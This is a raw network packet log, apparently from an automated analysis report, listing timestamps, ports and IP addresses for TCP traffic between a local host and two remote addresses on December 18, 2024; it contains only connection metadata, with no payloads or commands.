Dec 18, 2024 19:28:09.922456980 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.922574043 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.922713041 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.923365116 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.923386097 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.923490047 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.924220085 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.924329996 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.924376965 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.925117016 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.925156116 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.925229073 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.925966978 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.926110029 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.926163912 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.926825047 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.926884890 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.926970959 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.927690983 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.927898884 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.928148985 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.928627014 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.928724051 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.928781986 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.929421902 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.929548979 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.929671049 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.930268049 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.930354118 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.930439949 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.931200981 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.931282043 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.931380987 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.931982994 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.932053089 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.932163000 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.932749987 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.932869911 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:10.052432060 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:10.052442074 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:26.949790955 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:27.070271969 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:27.071405888 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:27.071505070 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:27.191903114 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:28.337326050 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:28.337358952 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:28.337424040 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:28.351655960 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:28.476277113 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:28.765753984 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:28.767360926 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:28.887002945 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:29.236134052 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:29.258320093 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:29.377922058 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:29.377996922 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:29.497600079 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:29.787772894 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:29.791317940 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:29.901161909 CET	49934	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:29.901216030 CET	443	49934	162.159.61.3	192.168.2.6
Dec 18, 2024 19:28:29.901281118 CET	49934	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:29.901582003 CET	49935	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:29.901634932 CET	443	49935	162.159.61.3	192.168.2.6
Dec 18, 2024 19:28:29.901702881 CET	49935	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:29.901840925 CET	49934	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:29.901859999 CET	443	49934	162.159.61.3	192.168.2.6
Dec 18, 2024 19:28:29.902019024 CET	49935	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:29.902035952 CET	443	49935	162.159.61.3	192.168.2.6
Dec 18, 2024 19:28:29.911710978 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:29.911761999 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.031274080 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.318696976 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.318759918 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.318829060 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.345437050 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.345616102 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.345685005 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.345792055 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.468941927 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.469115973 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.469155073 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.469234943 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.469238997 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.469295025 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.469357014 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.469367027 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.469424963 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.469505072 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.469517946 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.469552994 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.469573975 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.469602108 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.469614983 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.469624043 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.469671011 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.469674110 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.469717026 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.469763994 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.469840050 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.589795113 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.589839935 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.589873075 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.589880943 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.589915991 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.589946032 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.590095043 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.590157032 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.590194941 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.590218067 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.590284109 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.590339899 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:30.590641975 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.590797901 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.591845989 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.591912031 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.645167112 CET	49936	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:30.645257950 CET	443	49936	162.159.61.3	192.168.2.6
Dec 18, 2024 19:28:30.645340919 CET	49936	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:30.645812035 CET	49936	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:30.645838976 CET	443	49936	162.159.61.3	192.168.2.6
Dec 18, 2024 19:28:30.709853888 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.710058928 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.710232973 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.710350990 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.710408926 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.710418940 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.710558891 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.710568905 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.710638046 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.710699081 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.710800886 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.710819006 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.710920095 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.710978985 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.710989952 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:30.767241001 CET	49938	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:30.767373085 CET	443	49938	162.159.61.3	192.168.2.6
Dec 18, 2024 19:28:30.767471075 CET	49938	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:30.767884970 CET	49938	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:30.767925024 CET	443	49938	162.159.61.3	192.168.2.6
Dec 18, 2024 19:28:31.133215904 CET	443	49934	162.159.61.3	192.168.2.6
Dec 18, 2024 19:28:31.137299061 CET	443	49935	162.159.61.3	192.168.2.6
Dec 18, 2024 19:28:31.144702911 CET	49934	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:31.144730091 CET	443	49934	162.159.61.3	192.168.2.6
Dec 18, 2024 19:28:31.145924091 CET	443	49934	162.159.61.3	192.168.2.6
Dec 18, 2024 19:28:31.145997047 CET	49934	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:31.149146080 CET	49935	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:31.149177074 CET	443	49935	162.159.61.3	192.168.2.6
Dec 18, 2024 19:28:31.150796890 CET	443	49935	162.159.61.3	192.168.2.6
Dec 18, 2024 19:28:31.150877953 CET	49935	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:31.164510965 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:31.210705996 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:31.304709911 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:31.304811954 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:31.304866076 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:31.429275036 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:31.429291964 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:31.429383993 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:31.429384947 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:31.429395914 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:31.429452896 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:31.429569006 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:31.429579020 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:31.429620028 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:31.432656050 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:31.555624962 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:31.813942909 CET	49934	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:31.814059973 CET	49934	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:31.814265966 CET	443	49934	162.159.61.3	192.168.2.6
Dec 18, 2024 19:28:31.814321995 CET	49934	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:31.858573914 CET	443	49936	162.159.61.3	192.168.2.6
Dec 18, 2024 19:28:31.913541079 CET	49936	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:31.936521053 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:31.961452961 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:31.961582899 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:31.961612940 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:31.962202072 CET	49938	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:31.962223053 CET	49935	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:31.962264061 CET	49936	443	192.168.2.6	162.159.61.3
Dec 18, 2024 19:28:32.081007957 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:32.081140995 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:32.081155062 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:32.081178904 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:32.081289053 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:32.081310034 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:32.081356049 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:32.383621931 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:32.429177046 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:33.397948027 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:33.517587900 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:33.517695904 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:33.638715982 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:33.944274902 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:33.946053982 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:33.946110964 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:33.946173906 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:33.946227074 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:33.947803020 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:33.947860003 CET	49924	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:34.067302942 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:34.067421913 CET	3847	49924	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:38.945895910 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:39.065452099 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:39.065536976 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:39.065716982 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:39.185211897 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:40.342999935 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:40.343028069 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:40.343077898 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:40.352035999 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:40.477006912 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:40.765265942 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:40.765464067 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:40.885243893 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:41.224164963 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:41.226835966 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:41.346407890 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:41.346527100 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:41.466042042 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:41.758086920 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:41.760711908 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:41.881223917 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:41.881304026 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.003365040 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.287782907 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.296088934 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.296120882 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.296134949 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.296147108 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.296174049 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.296188116 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.304485083 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.304543972 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.304610014 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.312869072 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.312943935 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.315371037 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.315387964 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.315435886 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.320327997 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.320400953 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.320440054 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.328800917 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.328938007 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.328979015 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.337152004 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.382282972 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.419677973 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.419816971 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.419869900 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.488502979 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.488686085 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.488761902 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.492328882 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.493731976 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.493786097 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.493853092 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.502091885 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.502155066 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.502163887 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.510376930 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.510433912 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.510495901 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.518892050 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.518946886 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.519077063 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.527580023 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.527601004 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.527643919 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.535464048 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.535526991 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.535598040 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.543740988 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.543807030 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.543808937 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.552081108 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.552139044 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.552182913 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.561448097 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.561507940 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.561691046 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.567641973 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.567692041 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.567760944 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.572509050 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.572535038 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.572580099 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.577789068 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.577837944 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.577887058 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.682771921 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.682874918 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.682931900 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.685156107 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.686099052 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.686147928 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.686208010 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.691083908 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.691122055 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.691132069 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.695979118 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.696032047 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.696084023 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.701101065 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.701159000 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.701178074 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.705609083 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.705660105 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.705717087 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.710140944 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.710195065 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.710247993 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.714144945 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.714190960 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.714195013 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.718198061 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.718244076 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.718341112 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.722347021 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.722402096 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.722462893 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.726403952 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.726468086 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.726521015 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.730489016 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.730535030 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.730580091 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.734663010 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.734709978 CET	49959	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:42.734746933 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.738686085 CET	3847	49959	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:42.738724947 CET	3847	49959	87.120.127.215	192.168.2.6
